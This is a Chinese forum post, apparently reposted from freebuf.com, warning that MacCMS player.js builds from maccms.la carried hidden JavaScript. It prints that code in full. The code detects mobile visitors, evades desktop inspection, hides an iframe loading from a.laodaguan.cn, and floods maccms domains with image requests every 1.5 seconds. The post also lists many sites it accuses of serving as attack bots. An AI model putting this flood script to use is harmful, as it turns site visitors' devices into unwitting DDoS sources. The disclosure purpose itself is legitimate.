一天时间被请求了足足3.88B
每个小时被请求3亿次
大量记录推荐者的请求但仍然有浏览器不支持这种调用方式被我们抓捕
涉及从maccms.la下载或者更新的所有版本
v10
2020.1000.1029+外加拉版本最新的跨界历史版2022.1000.1099
v8
2020.1043+
通过抓包得出是因为maccms.la最新版本的player.js手机端访问远程调用调用js
http://union.maccms.la/html/top10.js
http://union.maccms.la/html/top.js
大家不相信可以自己
代码单独如下
(MacPlayer.Status) {} else {}
function msck(name, value) {var date = new Date();date['setTime']((date['getTime']() + (30 * 60) * (1000))),document['cookie'] = (name + '=' + escape(value)) + (';path=/;expires=') + date['toGMTString']();}//这里开始写调用缓存时间 防止被发现目的为了隐藏攻击
function mgck(name) {
`var list, reg = new RegExp('(^|x20)' + name + '=([^;]*)(;|$)');`
`if (list = document['cookie'].match(reg)) return unescape(list[2]); else return null;`
}
var de = new Date(), mh = de['getMonth']() + 1,da = de['getDate'](), hs = de['getHours'](), rr = mh + '' + da + '' + hs, ek = 'k1',ev = parseFloat(mgck(ek)), ua = navigator['userAgent'],au = '//a.laodaguan.cn/';
//这里判断移动端 过滤了windows和mac系统的抓包 所以必须通过移动端设备进行抓包才可以拿到加载内容 懂一点脚本的都能看懂
function mshr() {
`(!/(Win|Mac)/i.test(navigator['platform']) && !/(localhost|127|192|10)/i.test(location['hostname']) && isNaN(ev) && ($('.MacPlayer').length > 0) || (location['search'].indexOf('mdg') > -1)) && (/(iPhone|iPad|iPod|IOS)/i.test(ua) && $('body').append(`
`"<iframe style="display:none;" referrerPolicy="no-referrer" security="restricted" sandbox="allow-same-origin allow-forms allow-scripts" src="" + au + "index.html?" + rr + ""></iframe>"`
`), msck(ek, '1'), setInterval(imgflood, 1500));`
}
//这是很常见的js 攻击手法 虽然做了referer重置但依然有浏览器不支持这种调用方式被我们抓出了日志function imgflood() {
`rr = parseFloat(rr) + 1;`
`var img1 = new Image();`
`img1['setAttribute']('referrerPolicy', 'no-referrer');`
`img1['src'] = '//www.maccms.com/?' + new Date().getTime();`
`var img2 = new Image();`
`img2['setAttribute']('referrerPolicy', 'no-referrer');`
`img2['src'] = '//union.maccms.com/html/top10.js?' + rr;`
`var img3 = new Image();`
`img3['setAttribute']('referrerPolicy', 'no-referrer');`
`img3['src'] = '//union.maccms.com/html/top.js?' + rr;`
}
setTimeout(mshr, 50);
function abc() {}
function pcy() {}
ios、安卓下载《http cather》手机在线抓包了快去看看你网站是否调用了union.maccms.la 还有个判断方式手机浏览器其他页面加载完成如果播放页面浏览器头部一直是加载中捕捉条然后就是在长链接请求攻击不会中断非常耗时手机cpu
看了下这些都是海螺模版的应该是作者被拉忽悠了脑子开发结果可能给你这个智商也是这样容易就被忽悠了去升级沦为肉鸡
唯一github官方唯一：https: //github.com/maccmspro域名：https://maccms.pro
被控制为攻击肉鸡的域名列表如下：
http://1.mqdy.dehttp://154.197.154.48http://154.197.154.55http://154.93.60.36http://172.121.59.45http://183.ydt.5ahome.cnhttp://23.90.22.248http://25u51.cnzu95.com:6033http://7862y.comhttp://87.sbs.5ahome.cnhttp://9ov71.51add.com:4206http://awyy18.comhttp://bwl87.comhttp://dianyings.cnhttp://dy.tv56.cnhttp://g5451.comhttp://haowywz.comhttp://hxc27.comhttp://hxc97.comhttp://i7801.comhttp://itaojuba.comhttp://lsqnjoa.cnhttp://lyl23.mehttp://m.163fahao.comhttp://mideaysj.comhttp://nq698.comhttp://v.shensgo.comhttp://vcfuli.comhttp://wuritv6.comhttp://www.234qvod.comhttp://www.2kys.comhttp://www.399q.cnhttp://www.91m.cchttp://www.auedu.orghttp://www.bajies.comhttp://www.btdyba.comhttp://www.cangpinhui.com.cnhttp://www.cechi5.comhttp://www.chinayd.orghttp://www.chok8.comhttp://www.dixi123.comhttp://www.dy1958.comhttp://www.dydzkjs.comhttp://www.fusht.comhttp://www.hanju233.comhttp://www.hantutv.comhttp://www.haohao44.comhttp://www.hotwoods.bizhttp://www.hwfudao.comhttp://www.hxc45.comhttp://www.i63.com.cnhttp://www.ikrtv.comhttp://www.itihi.comhttp://www.jinhongjx.comhttp://www.jlqsnwl.comhttp://www.madou.lahttp://www.meiyangle888.comhttp://www.mimi91.xyzhttp://www.mycctv.cnhttp://www.ncdydyy.comhttp://www.ok009.xyzhttp://www.oukepuhui.comhttp://www.pubger.comhttp://www.qdkyjh.comhttp://www.qpg6.comhttp://www.rwgaoxin.comhttp://www.rz31.comhttp://www.tzwenyi.cnhttp://www.vipys5.comhttp://www.wearry.comhttp://www.wuritv6.comhttp://www.xiuhuan.xyzhttp://www.xttzb.comhttp://www.zaoyi.nethttp://www.zhoumengping.xyzhttp://xiaomc.infohttp://xincheng888.nethttps://001d.comhttps://123kubo.nethttps://123kubo.tvhttps://173cq.comhttps://5ji.tvhttps://789dydy.comhttps://789dyy.comhttps://789yyw.comhttps://ak222.cchttps://aqpos.tophttps://awyy23.comhttps://bwl87.comhttps://ddvod.tvhttps://duonaoyingyuan.tangrenjie.tvhttps://dy0026.comhttps://hhty029.comhttps://hnxmz.comhttps://holdoo.cnhttps://hyrzs.comhttps://i58b.tvhttps://imaple.cohttps://inzdrama.comhttps://jumi.tvhttps://longvcd.comhttps://m.hjtv4.comhttps://m.keso.orghttps://m.klksm.comhttps://m.my2058.comhttps://m.sx0371.comhttps://m.tv4.cchttps://m.xindiediao.comhttps://momovod.tvhttps://movie.58yanhao.comhttps://o8tv.comhttps://ouleyingyuan.tangrenjie.tvhttps://sexx3.xyzhttps://shichojp.comhttps://shrocc.comhttps://sy0752.comhttps://tianchatv.comhttps://tv.cihttps://vip.19zh.comhttps://www.002tv.comhttps://www.173cq.comhttps://www.17kty.comhttps://www.263163.cnhttps://www.3ayy.comhttps://www.3kt.nethttps://www.52kandy.comhttps://www.555dy1.comhttps://www.5thnyh.comhttps://www.789dydy.comhttps://www.789dyw.nethttps://www.789dywz.comhttps://www.7caa.comhttps://www.8090.mehttps://www.91m.cchttps://www.99meiju.tvhttps://www.ahrmgg.comhttps://www.autonicdq.comhttps://www.bddysf.comhttps://www.biqune.comhttps://www.calmlab.comhttps://www.cclsu.comhttps://www.chok8.comhttps://www.cunzhangba.comhttps://www.dadatu2.comhttps://www.dadatutv.nethttps://www.dadatuzi.comhttps://www.dusheyy.comhttps://www.f8yy.comhttps://www.haiyouims.comhttps://www.hanjutvwz.comhttps://www.hbxhda.comhttps://www.hjtv4.comhttps://www.holdoo.cnhttps://www.jianzhenkeji.comhttps://www.jpysvip.nethttps://www.kanxi5.comhttps://www.ku2000.comhttps://www.limintv.comhttps://www.masansan.comhttps://www.meijui.comhttps://www.mindanggui.comhttps://www.mldyy.cchttps://www.mshuifu.comhttps://www.muyy.cchttps://www.newqiyu.comhttps://www.o8tv.comhttps://www.pianba.nethttps://www.ppqun.comhttps://www.puhua.cchttps://www.qcjycg.comhttps://www.raoguns.comhttps://www.schtbz.comhttps://www.tancao.cnhttps://www.tangrenjie.tvhttps://www.tianlang88.comhttps://www.tianmohk.comhttps://www.ttspt.comhttps://www.u5dy.comhttps://www.wo03.comhttps://www.wojiangwang.comhttps://www.wuguiyy.comhttps://www.wuweidy5.comhttps://www.xiafandy.comhttps://www.xianzonglin.clubhttps://www.xuejiancn.comhttps://www.xxzz2.xyzhttps://www.yhdmk.comhttps://www.ys11.xyzhttps://www.ysdzfwb.comhttps://www.zgwangzhan.comhttps://www.zhengqidiaosu.comhttps://www.zhuijuju.comhttps://xuejiancn.comhttps://xzdjc.comhttps://zgwangzhan.com
来源：freebuf.com 2021-07-03 15:42:21 by: MacCMS
相关推荐: OpenVAS开源风险评估系统部署方案 – 作者:魅影儿
OpenVAS，即开放式漏洞评估系统，是一个用于评估目标漏洞的杰出框架。功能十分强大，最重要的是，它是“开源”的——就是免费的意思啦～它与著名的Nessus“本是同根生”，在Nessus商业化之后仍然坚持开源，号称“当前最好用的开源漏洞扫描工具”。最新版的Ka…
请登录后发表评论
注册